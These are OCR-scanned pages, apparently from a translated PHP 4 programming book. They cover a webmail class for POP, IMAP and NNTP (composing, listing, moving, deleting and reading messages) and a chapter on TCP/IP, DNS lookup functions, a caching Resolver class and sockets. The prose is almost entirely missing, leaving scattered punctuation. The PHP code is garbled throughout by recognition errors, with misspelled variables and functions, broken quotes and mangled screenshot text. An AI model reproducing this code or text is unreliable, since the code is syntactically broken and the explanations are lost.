if (!$msgs) $msgs = $this->STR_NO_MESSAGE;
$second_col = $msgs;
: echo($this->htinlHeader($this->HTML_TITLE, $this->CHARSET));
echo("<table border=\"0\" width=\"100%\" cellspacing=\"0\"
cellpadding=\"0\">\n" ) ;
echo("<tr>\n");
echo("<td widtfi=\"30%\" valign=\"TOP\">$first_col</td>\n");
echo("<td width=\"70%\" valign=\"TOP\">$second_col</td>\n");
echo("</tr>\n");
echo("</table>\n");
echo($this->htinlFooter( ) ) ;
return true;

Pile Edit View Search Go iookmarks Tasks

as !lbiiilsijLmUltenjl

UnwookKwon Feb1S?001

Is thallrue?

Chanqsoo(Ciro "

33 \&&

ChanoBoo Kim I

Comc.,j!;i.so0icl
Feb192001
19

___

^_____.

"febWmi"
DELETE r COPYr MOVE^ T

Document! Done (61 a)

. 12.4.

467

menuQ
menu ( )
. , :
function menu()
::
{
if ($this->protocol == 'nntp') {
$menu_str = $this->
buildUrl("action=mailForm&mode=article&mailbox=$this->mailbox", '[Post]');
.

;:

'>

$menu_str = $this->buildUrl('action=mailForm&inode=new'i
'[Send]'); :

return $menu_str;
"

ma\\Form()
, , $mode, :
!
function mailFormO
iv
( ::v. ' ' ..
:
global $PHP_SELF, $mode, Semail; '

-:':::>, ""'

;;:

:':':;.. : . - . . '

; $is_news = false;

, :

% ;fc '

if ($mode == 'reply') {
$msg : - $this->getMsg( " , " ) ;
if (!$msg) $mail_to = Ismail;

:
else {.

, '- ,' . 'V-.;/-': 6-.


$mail_date - $msg["date"];
$mail_to = $msg["raw_from"];
$mail_cc = $msg["raw_cc"];
$mail_subject = "Re: " . $msg["subject"];
$mail_body ^ " Original Message($mail_date) \r\n" .
eregi_replace("<br>", "\r\n", $msg["body"]);
>
'
- '

.
From "Fwd : " Subject:
} else if ($mode == 'forward') {
$msg = $this->getMsg( " , ");

468

12.
if (!$msg) return false;
$mail_from = $msg["raw_froiri"];
$mail_date = $msg["date"];
$mail_subject = "Fwd: " . $msg["subject"];
$mail_reply_to = $mail_from;
$mail_body = ."--- Original Message($mail_date) \r\h" .
eregi_replace("<br>", "\r\n", $msg["body"]);

,
$is_news:
} else if ($mode == 'article') {
$mail_to = $this->mailbox;
$is_news = true;

,
References. References Message-ID :
} else if ($mode == 'followup') {
$mail_to = $this->mailbox;
$msg = $this->getMsg(", ");
$mail_references = $msg["references"] . "
. $msg["message_id"];
$mail_subject = "Re: " . $msg["subject"];
$is_news = true;
}
$ret_str ="<form name=\"MAIL_FORM\" action=\"$PHP_SELF\"
method=\"POST\" enctype=\"MULTIPART/FORM-DATA\">\n";
$ret_str .= "<input type=\"HIDDEN\" value=\"mail\"
name=\"action\">\n";
$ret_str .= "<input type=\"HIDDEN\" value=\"$mode\"
name=\"iiode\">\n";
$ret_str .= "<input type=\"HIDDEN\" value=\"$this->msg_uid\"
name=\"msg_uid\">\n";
$ret_str .= "<div align=\"CENTER\"xtable cellspacing=\"2\"
cellpadding=\"5\" width=\"90%\" border=\"1\">\n";
$is_news ,
SMTP mail() :
if (!$is_news) {
$ret_str .= "<tr>\n";
$ret_str .= "<th width=\"lOO%\" colspan=\"2\"><input
type=\"CHECKBOX\" name=\"use_smtp\" value=\"ON\">
USE SMTP</th>\n";
$ret_str .= "</tr>\n";
$ret_str .= "<tr>\n";
$ret_str .= "<th width=\"30%\">SMTP HOST</th>\n";

469

$ret_str .= "<td width=\"70%V><ifnput.type=\"TEXT\"


name=\"smtp_host\" size=\"20\"X/td>\n";
$ret_str .= "</tr>\n";
$ret_str .= "<tr>\n";
$ret_str .= "<th width=\"30%\">SMTP PORT</th>\n";
$ret_str .= "<td width=\"70%V><input type=\"TEXT\"
name=\"smtp_port\" size=\"5\" value=\"25\"x/td>\n";
$ret_str ' . = "</tr>\n";
$ret_str .= "<tr>\n";
$ret_str .= "<th width=\"30%\">TO</th>\n";
$ret_str .= "<td width=\"70%\"xinput type=\"TEXT\"
name=\"mail_to\" value=\"$rnail_to\" size=\"20\"x/td>\n";
$ret_str .= "</tr>\n";
$ret_str .= "<tr>\n";
$ret_str .= "<th width=\"30%\">CC</th>\n";
$ret_str .= "<td width=\"70%\"xinput type=\"TEXT\"
name=\"mail_cc\" value=\"$'nail_cc\" size=\"20\"x/td>\n" ;
$ret_str .= "</tr>\n";
$ret_str .= "<tr>\n";
$ret_str .= "<th width=\"30%\">BCC</th>\n";
$ret_str .= "<td width=\"70%\"><input type=\"TEXT\"
:
name=\"mail_bcc\" size=\"20\"x/td>\n";
$ret_str .= "</tr>\n";

NNTP ; , :
} else {
$ret_str .= "<tr>\n";
$ret_str ,= "<th width=\"30%\">Newsgroups</th>\n";
$ret_str .= "<td width=\'70%\':><input type=\"TEXT\"
: ;: name=\"i4ail_to\" value=\"$mail_to\" size=\"20\"x/td>\n";
' $ret str .= "</tr>\n";
References?
if (!empty($mail_references)) {
;
$ret_str .= "<tr>\n";
$ret_str .= "<th width=\"30%\">References</th>\n";
$ret_str .= "<td width=\''70%\">$inailLreferenGes<input
type=\"HIDDEN\'' name=\"mail_references\"
value=\"$mail_references\" size=\"20\"x/td>\n";
.$ret_str .= "</tr>\n";

,
:
;

$ret_str .= "<tr>\n";
$ret_str .= "<th width=\"30%\">FROM</th>\n";

470

12.
$ret_str .= "<td width=\"70%\"><input name=\"irml_from\"
size=\"20\"x/td>\n";
$ret_str .= "</tr>\n";
$ret_str .= "<tr>\n";

.::;;

$ret_str .= "<th width=\"30%\">REPLY-TO</th>\n";


$ret_str . = "<td width=\"70%\"xinput name=\"(nail_reply_to\"
vaiue=\"$itiail_reply_to\" size=\"20\"x/td>\n";
$ret_str .= ."</tr>\n";
$ret_str . = "<tr>\n";
$ret_str .= "<th width=\"30%\">ATTACHMENT</th>\rr;
$ret_str .= "<td width=\"70%\"><input type=\"FILE\"
name=\"userfile\"x/td>\n";
$ret_str .= "</tr>\n";
$ret_str .= "<tr>\n";
$ret_str .= "<th width=\"30%\">TYPE</th>\n";
$ret_str . = "<td width=\"70%\"><input type=\"RADIO\" checked
value=\"text\" name=\"mail_type\">TEXT\n";
$ret_sth .= "<input type=\"RADIO\" value=\"html\"
name=\"mail_type\">HTML\n";
$ret_str .= "</td>\n";
:
i :;
$ret_str ,= "</tr>\n";
$ret_str .= "<tr>\n";
$ret_str .= "<th width=\"30%\">ENCODING</th>\n";
$ret_str .= "<td width=\"70%\"><input type=\"RADIO\" value=\"7bit\"
name=\"mail_encoding\" checked>78IT\n";
$ret_str .= "<input type=\"RADIO\" value=\"8bit\"
name=\"mail_encoding\">8BIT\n";
$ret_str .= "</td>\n";
$ret_str .= "</tr>\n";
$ret_str .= "<tr>\n";
$ret_str .= "<th width=\"30%\">CHARACTER SET</th>\n";
$ret_str .- "<td wldth=\"70%\"><input type=\"RADIO\" value=\"usascii\" narae=\"fflail_charset\" checked>US-ASCII\n";
$ret_str .= "<input type=\"RADIO\" value=\"euc-kr\"
name=\"mail_charset\">EUC-KR\n";
$ret_str .= "</td>\n";
$ret_str .= "</tr>\n";
$ret_str .= "<tr>\n";
$ret_str ,= "<th width=\"30%\">SUBJECT</th>\n";
$ret_str .= "<td width=\"70%\"xinput size=\"40\"
na[ne=\""iail_subjeGt\" value=\"$mail_subject\"x/td>\n";
$ret_str .= "</tr>\n";
$ret_str .= "<tr>\n";
$ret_str .= "<th width=\"30%\">BODY</th>\n";
$ret_str .= "<td width=\"70%\"><textarea name=\"mail_body\"
rows=\"10\" cols=\"60\">$mail_body</textareax/td>\n";
$ret_str .= "</tr>\n";
$ret_str .= "<tr>\n";
$ret_str .= "<th width=\"30%\" colspan=\"2\"xinput type=\"SUBMIT\"
value=\"Send\" name=\"SUBMIT\">\n";
$ret_str .= "<input type=\"RESET\" value=\"Reset\"

471

name=\"RESET\"x/th>\n" ;
$ret_str .= "</tr>\n";
$ret_str .= "</table>\n";
$ret_str . = "</div>\n";
$ret_str .= "</form>\n";
return $ret_str;

'

sendWebmailQ
sendWebnailO NNTP,
Webmail. , NNTP. ,
, , Sent:
s function sendWebmail() W

" '.'..: ('


/

;- .

, .

' ; ' "...

global $is_news, $use_smtp, $smtp_host, $smtp_port;


if (!$my_mail->send()) {
$this->buildErrorMsg($my_mail->errorMsg());
return false;

>,..;

' '.

$mail_str = $myjnail->view_msg();
if (!$mail_str) return false;

;";; ":'.. '

: : '

" :....'

, appendMailO
:
if (!empty($this->sent_mailbox)) {
if (!$this->appendMail($mail_str, $this->sent_mailbox)) {
return false;
return true;
}

;...

:'"::

':.

copyMsg()
UID . copyMailMsg( ):
function copyMsgO
{
:
global $MSG_UIDS;

if (!is_array($MSG_UIDS)) {
$tnis->buildErrorMsg($this->ERR_STR_NO_UIOS);
:
return
false;
'

472

12.

if (!$this->copyMailMsg(implode(",", $MSG_UIDS))) return false;


return true;

moveMsg()
UID
. moveMailMsg( ):
function moveMsgO
{
global SMSGJJIDS;
if (!is_array($MSG_UIDS)) {
$this->buildErrorMsg($this->ERR_STR_NO_UIDS);
return false;
}
if (!$this->moveMailMsg(iinplode(",", SMSGJJIDS) return 0;
return true;

deleteMsg()
UID . deleteMailMsg( ).
, .
,
Deleted . appendMail( ):
function deleteMsgO
{
global SMSGJJIDS;
if (!is_array($MSG_UIDS)) {
$this->buildErrorMsg($this->ERR_STR_NOJJIDS);
return true;
}
if (!$this->deleteMailMsg(implode(V, SMSGJJIDS))) return 0;
return true;

createMailboxFormQ
, . -,
:
function createMailboxForm()

473

global $PHP_SELF;
if ($this->protocol != 'imap') return;
$ret_str = "<form method=\"POST\" action=\"$PHP_SELF\">\n";
$ret_str'.= "<input type=\"HIDDEN\" name=\"action\"
value=\"createMailbox\">\n";
$ret_str .= "<input type=\"TEXT\" name=\"new_mailbox\"
size=\"10\"xbr>\n";
$ret_str .= "<input type=Y'SUBMIT\" value=\"Create\"
name=\"SUBMIT\">\n";
$ret_str .= "</form>\n";
return $ret_str;

msgTableHeader(), msgTableRow() msgTableFooterQ


:
function msgTableHeader()

"'"

return "<table border=\"1\" width=\"90%\" cellpadding=\"2\"


cellspacing=\"1\">\n";

function msgTableRow($width,
$cell_data, $is_th=0,
$bg_color='FFFFFFp, $align='CENTER', $valign='TOP')

, $is_th true:
if (!$is_th) $row_tag = 'td';
else $row_tag = 'th';
return "<$row_tag width=\"$width%\" align=\"$align\"
valign=\"$valign\" bgcolor=\"$bg_color\"
nowrap>$cell_data</$row_tag>\n";

}
function msgTableFooterO
{
return "</table>\n";
}

listMsg()
:
function listMsgO
{
global $PHP_SELF, $cur_page;
$order = $this->reverse;

474

12.

.
SORTDATE:
:

: if ($this->sort == 'SORTDATE')
$this->reverse.= (integer)! $this->reverse;

, if , , $ reverse null.
IMAP :
if ($this->protocol =='imap') {

$ret_str .= "<form method=\"POST\" action=\"$PHP_SELF\">\n";


$ret_str . = "<input type=\"HIDDEN\" name=\"niailbox\"
value=Y'$this->mailbox\">\n";

}
else $ret_str = ";

.
:
$ret_str .= $this->nisgTableHeader();
$t_str = $this->msgTableRow(10, 'NO',1, "#CECECE");

:;

$t_str .= $this->msgTableRow(50,$this->buildUrl("action=li3tMsg".
"&mailbox=$this->mailbox&sort=SORTSUBJECT&reverse=$order",
"SUBJECT" ),V#CECECE");
$t_str .= $this->msgTableRow(20,$this->buildUrl("action=listMsg".
"&mailbox=$this-xnailbox&sort=SORTFROM&reverse=$order",
'FROM"),1,"CECECE");
$t_str .= $this->msgTableRow(20,$this->buildUrl("action=listMsg".
"&raailbox=$this->rnailbox&sort=SORTDATE&reverse=$this->reverse",
"DATE"),1,"CECECE");

$ret_str .- "<tr>\n$t_str</tr>\n";
getMsgList():
$msgs = $this->getMsgList('action=readMsg', 'action=mailForm&mode=reply');
if (!$rtisgs) return 0;
$n.um_msg = count($msgs);

,
:
if (!$cur_page) $cur_page = 1;
if (!$num_msg) $num_page =1;
else $num_page = ceil($nun)_msg/$this->msg_per_page);
if ($cur_page >= $num_page) $cur_page = $num_page;

475

, . , :
: $mailboxes = $this->getMailboxList('', 1);
if (!$mailbOxes) return false;
$start_num = ($cur_page - 1) * $this->msg_per_page;
$end_num = $cur_page * $this->msg_per_page;
if ($end_num > $num_msg) $end_num = $num_msg;
for ($1= $start_num; $i < $end_num; $i++) {
$msg_no = $msgs[$i]["no"];
$msg_uid. = $msgs[$i]["uid"];
$MSG_UIDS UID :
if (count($mailboxes) > 0 && $this->protocol =='iroap')
$checkbox = "<input type=\"CHECKBOX\" name=\"MSG_UIDS[]\"
value=\"$nisg_uid\">";
$msg_subject = $msgs[$i]["subject"];
,$msg_from = $msgs[$i]["from".];
$msg_date = $msgs[$i]["date"];
if ($msgs[$i]["unseen"]) $is_th = 1;
else $is_th = false;
,
:
$t_str = $this->msgTableRow(10,$ctieckbox . $msg_no, $is_th,
tfFFFFFF', 'LEFT');
$t_str . = $this->ntsgTableRow(50,$msg_subject, $is_th,
'FFFFFF', 'LEFT 1 );
$t_str .= $this->insgTableRow(20,$msg_from, $is_th, 'tfFFFFFF', 'LEFT');
$t_str .= $this->msgTableRow(20,$msg_date, $is_th, '&FFFFFF', 'LEFT');
$ret_str .= "<tr>\n$t_str</tr>\n";

}
$ret_str .= $this->msgTableFooter();

, , :
if ((count($mailboxes) > 1) && $this->protocol =='imap') {
$ret_str .= "DELETE<input type=\"RADIO\" value=\"deleteMsg\"
name=\"action\">\n";
$ret_str .= "COPY<input type=\"RADIO\" value=\"copyMsg\"
name=\"action\">\n";
$ret_str .= "MOVE<input type=\"RADIO\" value=\"moveMsg\" checked
name=\"action\">\n";
$ret_str .= "TCKselect name=\"new_mailbox\" size=\"1\">\n";

476

12.
foreach ($mailboxes as $mbox)
if ($mbox != $this->mailbox && (! (($mbox==' INBOX') &&
(erapty($this->mailbox))))) {
$ret_str .= "<option value=\"$mbox\">$mbox</option>\n";

',:;'"''" }

' , ' ::'.

$ret_str .= "</select>\n";
$ret_str .= 'Xinput type=\"Submit\" value=\"GO!\">\n";

$ret_str .= "</form>\n";
$ret_str .= "<br>\n"r
$ret_str .="<center>\n";
, :
for ($i = 1; $i <= $num_page; $i++) {
if ($cur_page == $i) $ret_str .= "<strong>[$i]</strong>";
else $ret_str . = $this->buildUrl("action=listMsg".
"&mailbox=$this->mailbox&" .
"sort=$this->sort&reverse=$order&".
"cur_page=$i", "[
:

'

$ret_str .="</center>\n";
return
$ret_str;
'

. ' ">

MstMailboxO
HTML:
function listMailbox($mailbox=' ' )
''(

$str = "";

..;^":"

:
$mailboxes = $this->getMailboxList($mailbox);
if (!$mailboxes) return false; ;
:
foreach ($mailboxes as $mbox=>$unseen) {
if ($this->protocol !='nntp' && $this->protocol-!='pop31 &&
$mbox != 'INBOX') {
, , .
JavaScript confirm(),
:
$del_prefix = $this->buildllrl("action=deleteMailbox".
"&del_mailbox=$mbox", "[X]",

477

"if (!confirm( 'Are you sure?')) return false;");


} else $del_pref ix = ' ' ;
if ($this->protocol == 'nntp') {
$str .= $this->buildUrl("action=listMsg&mailbox=$mbox",
"$mbox($unseen)") . "<br>\n";
} else {

$str .= $del_prefix . $this->buildUrl("action=listMailbox".


"&mailbox=$mbox", "$mbox($unseen)") . "<br>\n";

return $str;

readMsg()

HTML, (. 12.5):
iN http: /lotalhost ProPHP4/Chapterl2,'webmail,php-Netscape 6
. J gfe ' E* iiew Search fio aookmarks lasks tiolp
'I'tocalhostfProPHPIfChapterlZfviebmail.php

Date: Feb19 2001 04:2041


From: Yongpil Park
Subject: Thanks a lot!
[Forward this message)
Thanks for your reply.
I attached the document you requested.
Talk to you later.
Best Regards,
Yongpil Park,
NeoQuest Communications, inc.

DocUMrtl Dent (Onu

. 12.5.
function readMsgO

'

$msg. getMsg( ) , , . , , Saction downloadAttachment:

478

12.
$rasg = $this->getMsg('action=downloadAttachment', '-actions
mailForm&mode=reply' );

::

s;

if (!$msg) return false;


$ret_str = "<strong>Date: </strong>" . $msg["date"] .:."<br>\n";
$ret_str .= "<strong>From: </strong>" . $msg["from"] , "<br>\n";
if (!empty($msg["cc"])) $ret_str .= "<strong>Cc: </strong>" .
.,..,
$msg["cc"] . "<br>\n";
if (!empty($msg["references"])) $ret_str . = :"<strong>fteferences:
</strong>" . $msg[" references"] . "<br>\ri";
$ret_str .= "<strong>Subject: </strOng>" $msg[ "subject"] , "<br>\n";

NNTP,
. ,
- :

if: ($this->protocol == 'nntp') <


$ret_str .3 $this->buildUrl("action=mailForm&mailbox=".
''$this->mailbox&mode=followup&rosg_uid=$triis->msg_uid",
"[Reply. to this article]");
} else {
$ret_str .= $this->buildUrl("action=mailForm&mailbox=".
"$this->mailbox&mode=forward&msg_uid=$this->msg_uid",
"[Forward this message]");
}
$ret_str .= "<br><br>\n";

$ret_str .= "<blockquote>" . $msg["body"] . "</blockquotexbr>\n";


, :
if ($msg["num_parts"] > 0) {
$ret_str .= "<centerxhr width=\"90%\" size-\"1\"></center>\n";
for ($i = 0; $i < count($msg["parts"]); $1+*) $ret_str .=
$msg["parts"][$i] . "<br>\n";
}
return $ret_str;

htmlHeader() htmlFooter()
, htmlHeader() htmlFooterO, HTML, -.
, :
function htmlHeader($title=' ', $charset='') {}
function htmlFooterO <}

, ,
:

479

$host = "localhost";
Sprotocol = "imap";
$port = 143;
Suserid = "wankyu";
Suserpassword = "12345";
$wmail = new MyJJebmailO;
if (! $wmail->init($host, $protocol, Sport', JiiSe rid, Suserpassword))
echo($wmail->errorMsg());
if (!$wmail->start($action)) echo($wmail->errorMsg());
$wmail->end();
. news. p h p . net. (. 12.6) , , p h p . test:
,. Fte E* ew Search go Bookmarks tasks Help

p.announced 1)

NO

SliUJtcr

JHOM

'fo :__. evoj;en.te!


;75"ltest
Mickolas Hevde
74 'Re-"
'/3 \S1
:72 itii

J2iiiiiobu!

^ is;
!FebH2l<)l
ilFeblf'gnl
-. Feb 07 211

[7t

C'hD,pgar(Ji6g)
:! Dho.teinplate(29)
phixcvs(3

|70 IJlSli
i69vRa[{e
fee ijakp
[?!

IffiOh
.;tUi:ilJj f v eb 1
[Sascha'Srh^imann
' 21"'
;jin].,VyintSad

iJan262001 )

pan262CB1

S Php.oa(1896)
I QhD,notes(lOSD8)
pHoJanqnOl)

DhD^MI?)

. 12.6. news.php.net
NNTP .
,
, - .
news.php.net.

480

12.

POP IMAP RFC:

http://www.rfc.net/ - RFC 1939 (Post Office Protocol Version 3)

http://www.rfc.net/ - RFC 2060 (Internet Message Access Protocol Version


4 Revision 1)
http://www.imap.org/ - IMAP
IMAP :

http://www.washington.edu/imap (UW-IMAP Server)

http://asg.web.cmu.edu/cyrus/imapd (Cyrus IMAP Server)

http://www.inter7.com/courierimap (Courier IMAP Server)

,
: POP IMAP. , IMAP POP:
IMAP

IMAP ,
IMAP
IMAP ,
IMAP , , POP/IMAP NNTP. , POP/IMAP NNTP, :

,
,

IMAP,
, -, , .
, - .

13
TCP/IP
, TCP/IP, , ,
. .
,
, ,
.
,
.
, HTTP .
cookies URL,
.
, , , TCP/IP,
. ,
TCP/IP:
TCP/IP
, Domain Name
System (DNS - ) Yellow Pages/Network Information Services (YP/NIS- /
)

API ,

Simple Network Management Protocol (SNMP)


163. 989

482

13. TCP/IP

, ,


- Internet Protocol (IP)
. , , IP- . IP, , ; , IP ( IP),
.
IP ,
, . . TCP UDP ( ).
. ,
, HTTP, .
.
.
, TCP/IP,
, .
, , .
IP . ,
, ,
, IP . :

, . , telnet
, FTP, ,
. , , Ethernet. , , , ,
.

,
, . -

483

, IP . - TCP/IP,

. IP, , IP- . IP , .
(Time-to-Live)
, ;

. IP
(TTL - time-to-live) .
, IP
TTL,
TTL. TTL , . TTL , TTL
.


, IP
. IP , TCP UDP. TCP UDP .

(TCP)
TCP , ,
. , . .
,
,
. ,
TCP, , .
TCP , . , UDP. TCP :
/
- -
, ,

484

13. TCP/IP

. , (,
). TCP
, ,
.

TCP IP. TCP
(acknowledgment scheme), .

TCP .

, , . ,
. , . , . TCP
, . - , TCP .
, HTTP SMTP,
TCP. TCP , .

(UDP)
UDP TCP .
TCP, , UDP
, TCP.
, , . .
UDP, .
UDP, TCP, ,
/. .
:
?
.
, TCP, . ,

485

TCP, , . UDP
, , TCP.
, , .
, . .
.
. , . UDP
, TCP.
,
, TCP/IP, . TCP/IP Illustrated, Volume I Addison-Wesley (ISBN 0-201633-46-9).


,
IP. , , ,
. ,
, , . , http://www.wrox.com/ (Domain Name System - DNS)
, - - Wrox. IP- 32- ,
.

IP, DNS. ,
DNS IP-, DNS, . DNS , API , DNS.
, DNS, .
IP-.
(reverse-lookup). , DNS
, , , .

486

13. TCP/IP


, DNS,
IP. : ? DNS .

. DNS (. 13.1):

money.virtual.foowidgets.comj [

eng.virtual.foowidgets.com J (^

hr.virtual.foowidgets.com J

. 13.1. DNS

, foowidgets.com. .
(top-level domain), foowidgets.com (subdoraain) .. foowidgets.com ,
.
, , money foowidgets.com, IP- money.virtual.foowidgets.com.
DNS IP-
money.virtual.foowidgets.com. DNS, , DNS, ., IP- . . ,
DNS foowidgets.com.
DNS foowidgets.com
DNS, virtual.foowidgets.com. DNS
virtual.foowidgets.com IP- money.virtual.foowidgets.com. :
, DNS, .

487

, DNS DNS.

, , (authoritative response), - (non-authoritative response). DNS.


DNS
.
, , . :

,
, . DNS.

,
.

IP- ,
, ,
DNS.
, DNS,
.
DNS and BIND O'Reilly & Associates (ISBN 0-596001-58-4).i

DNS PHP
PHP DNS.
, ,
. DNS, , DNS, , , . , .
DNS, DNS,
TCP/IP, API .
gethostbynameQ
string gethostbyname(string hostname)
1

., . DNS BIND, 4- - . . - : , 2002 (ISBN 5-93286-035-9).

488

13. TCP/IP

, , , IP-:
<?php
//hostname.
$hostName = "www.wrox.com";
SipAddress = gettiostbyname($hostName);
echo("The IP address of ShostMame is SipAddress");

IP- www.wrox.com , . API ,


, IP-.
gethostbynamelQ
array gethostbynamel( string hostname)
, , IP- (
IP-), IP-. gethostbynamel() gethostbyname(),
IP-, , :
<?php
//multihostname. php
ShostName = "raulti.wrox.com";
SipAddresses = gethostbynamel($hostName);
echo("The IP addresses of $hostName are:<br>\n");
for ($i = 0; $i < count($ipAddresses); $i++) {
echo("$ipAddresses[i] <br>\n");

multi.wrox.com IP-,
, .
, DNS IP-, DNS (, BIND),
, (DNS round robin). , DNS
(. . IP- ). DNS
IP- ,
.
BIND http://www.isc.org/products/BIND/.
gethostbyaddrQ
string gethostbyaddr(string ip_address)

489

, gethostbynameQ, . ., IP- ,
:
<?php
//hostaddress.php
SipAddress = "127.0.0.1";
ShostName = gettiostbyaddr($ipAddress);
echo("The host name corresponding to the IP
address $ipAddress is ShostName");

, IP- 127.0.0.1, localhost, . . , .


TCP/IP
IP-, DNS.
, IP-, DNS,
ip_address. , , ip_address.
getprotobynameQ
int getprotobyname(string name)

, TCP/IP, , ,
.
, /etc/protocols UNIX- %SystemRoot%\System32\drivers\etc\protocol Microsoft Windows NT
Windows 2000.
getprotobynumberQ
string getprotobynumber(int number)
, getprotobynameO, ,
. . .
getservbynameQ
int getservbyname(strlng service, string protocol)

,
, . , TCP UDP, ,
:
<?php
//portbyname.php

490

13. TCP/IP
Sprotocol = "Smtp";
$portNum = getservbyname($protocol, "top");
echo("The port number of the Sprotocol service is $portNum");

,
Simple Mail Transfer Protocol 25. UNIX /etc/services.
getservbyport()
string getservbyport(int port, string protocol)
, getservbyname():
. protocol (TCP UDP), .
, getprotobyname( ), getprotobynumber( ), getservbyname( )
getservbynumber() , ( ).
DNS,
, , , DNS.
checkdnsrrQ
int checkdnsrr(string host [, string type])
, DNS
, (resource records).
. (. 13.1):
13.1.

32- IP-

()
CNAME
MX

, .

NS

DNS,
. DNS, DNS.

PTR

. IP-
,

SOA

491

checkdnsrr() DNS (
type ) , host. , true, ,
false, . IP- .
type A N Y , . type ,
MX:
<?php
//alias. php
$hostName="moniker . wrox . com" ;
if (checkdnsrr($hostName, "CNAME")) {
echoC'The host ShostName has an alias name.<br>\n");
} else {
echoC'The host ShostName does not have an alias name.<br>\n");

moniker.wrox.com , , , , nickname.wrox.com.
checkdnsr ( ) Microsoft Windows.
getmxrr()
int getmxrr(string hostname, array mxhosts [, array weight])

, user@somedomain.com, somedomain.com, IP-. IP-, , . .


, , ,
, . .
getmxrr( ) , , . ,
, .
MX, true,
, false. Microsoft Windows :

492

13. TCP/IP
<?php
//mailservers.php
Sdomain = "somedomain.com";

getmxrr($domain, $mailXchangers, Sprefs );


echo("List of mail exchangers for $domain: <br>\n");
for ($i = 0; $i < count($mailXchangers); ++$i) {
echo("$mailXchangers[$i] = $prefs[$i] <br>\n");

somedomain.com .

DNS
DNS (resolver),
, DNS.
DNS DNS , . ,
,
.
-
DNS, , , CGI-
, ,
. , , . DNS :
<?
class Resolver
,
:
var ShostName;
var SdomainName;
var SipAddress;
var SmailXchanger;
var SservPort;
var SipDotted;
var SprotoNumber;
var $protoName;
var SipLong;

493

function Resolver()
{
resetCacheQ;

:
function getMx($domain)
{
, , g e t m x r r ( ):
if (!$domain) {

log_err( "Domain name is required to retrieve MX records");


return -1;
} elseif (($ret = $mailXchanger[$domain])) {
return $ret;

, getmxrr( ), :

} elseif (getmxrr($domain, SmailXchanger) == false) {


log_err("MX records could not be found found for "
. SdomainName);
return -1;
} else {
.SdomainName[$doraain] = SmailXchanger;
return SmailXchanger;

IP- :
/function get!pAddress($host)

getMxQ, , , gethostbynamel() :

if (!$host) {
log_err("Host name is required to find IP addresses");
return -1;
} elseif (($ret = $ipAddre'ss[$host]))'{
return $ret;
} elseif (($ret = gethostbynamel($host)) == false) {
log_err("IP address could not be found found for " , $host);
return -1;
} else {

494

13. TCP/IP
$ipAddress[$host] = $ret;
$hostName[$ret] = $.host;
return $ret;

IP-:
function getHostName($ipAddr)
{

IP-:
if (SipAddr != &&
!ereg("[0-254]\.[0-254]\.[0-254]\. [0-254]", SipAddr)) {

:
log_err( "Incorrect IP address format"); : .
return -1;
} elseif ,('($ ret = $hostName[$ipAddr])) {
return $ret;
} elseif (($ret = gethostbyaddr($ipAddr)) == false) {
log_err("Host name could not be found for " . SipAddr);
".:,-: return -1;
} else {
$hostName[$ipAddr] = $ret;
$ipAddress[$ret] = SipAddr;
return $ret;

, , :
function getProtoByName($name)
{
if (!$name) {

log_err( "Protocol name is required to get


the protocol number" );
return -1;
:
} elseif (($ret = $protoNumber[$name])) {
return $ret;
f*>elseif (($ret = getprotobyname($name)) == false) {
log_err( "Protocol number could not be found for " . $name);
return -1;
} else {
$protoNumber[$name] = $ret;
$protoName[$ret] = $name;
return $ret;

495

, :
function getProtoByNumber($number)
{
if (!$number) {

log_err( "Protocol number is required to get


the protocol name" );
return -1;
} elseif (($ret = $protoName[$number])) {
return $ret;
} elsif (($ret = getprotobynumber($number)) == false) {
log_err("Protocol name could not be found for " . $number);
return -1;
} else {
$protoName[$number] = $ret;
$protoNumber[$ret] = $number;
return $ret;

, TCP
UDP :
function getServByName($name, $proto)
{
if (strtoupper($proto) == "TCP" | | strtoupper($proto) .!= "UDP")) {
log_err( "Protocol must either be TCP or UDP");
return -1;
}
if (!$name) {
log_err( "Service name is required to get the port number" );
return -1;
} elseif (($ret = $servPort[$name])) {
return $ret;

} elseif (($ret = getservbyname($name)) == false) {


log_err("Service port could not be found for
" . $name . " arid protocol " . $proto);
return -1;
} else {
$servPort[$name] = $ret;
$servName[$ret] = Snam'e;
return $ret;
. :

IP- 32- long. IP- - 32- :


function dottedTo!p($dotted)

'

496

13. TCP/IP

lf'(!$dotted) {
log_err("Dot formatted IP address is required to get
long IP address");
return -1;
} elseif (!ereg("[1-254]\.[1-254]\.[1-254]\. [1-254]", Sdotted)) {
log_err("Incorrect IP address format");
return -1;
} elseif ($ret = $ipLong[$dotted]) {
return $ret;
} elseif (($ret = ip21ong($dotted)) == false) {
log_err("Long IP address could not be found for " . Sdotted);
return -1;
} else {
$ipLong[$dotted] = $ret; :
$ipOotted[$ret] = Sdotted; ,
return $ret;

dottedToIp( ). 32- IP-


:
function ipToDotted($long!p)
{
if (!$longlp) {
log_err("Long IP address is required to get
dot formatted IP address"); . ;.
return -1;
> elseif ($ret = $ipDotted[$longIp]) {
return $ret;
} elseif (($ret = Iong2ip($longlp)) == false) {
log_err("0otted IP address could not be found for " . Slonglp);
return -1;
} else {
$ipDotted[$long!p] = $ret;
$ipLong[$ret] = Slonglp;
return $ret;

, :
function resetCache'O
{
ShostName = 0;
SdomainName = 0;
SipAddress = 0;
$mailXchanger = 0;
SservPort = 0;

497
SservName = 0;
SipDotted = 0 ;
SipLong = 0;

, :
function log_err($msg)
echo($msg . "<br>");
}

. . ,
System V, - Transport Library Interface (TLI).
,
.
. , C++,
, .
Microsoft Windows WinSock API;
API BSD, UNIX, BSD, System V. Java . , API .
,
,
, ---.
(. . 13.2).
-, , , , .
, IP-
. , . ,
-. ,
.
IP- , , ,

498

13. TCP/IP

TCP


TCP
()
,
' ~~~~"~-
-_

. 13.2. ,
.
, , , .
.


, . API ,
,
.
, . , --enable-sockets. API
, . API
http://www.php.net/manual/en/function.sochet.php.
4.0.6 API .
, , .

,

499

,
.1

Socket_create()
int socket_create(int domain, int type, int protocol)

, ,
. domain
AF_INET AF_UNIX.
AF_INET, , TCP/IP. ,
, (domain sockets) UNIX, AF_UNIX.
AF_UNIX Microsoft
Windows, 4.0.6 , , . type , ,
IP .
, . . . . 13.2:
13.2. type

SOCK_STREAM

SOCK_DGRAM

SOCK_SEQPACKET

SOCK_RAW

, - IP

SOCK RDM

. , , , ,

SOCK_PACKET

,
. , Ethernet

domain type . , AF_UNIX


SOCK_RAW, . . UNIX IP.
4.1.0
, , . ,
, ,
socket API .
socket API. . ..

500

13. TCP/IP

.
0 , .
socket_create() , , /. , . socket_strerror(), , .
socket_bind()
int socket_bind(int socket, string address [, int port])

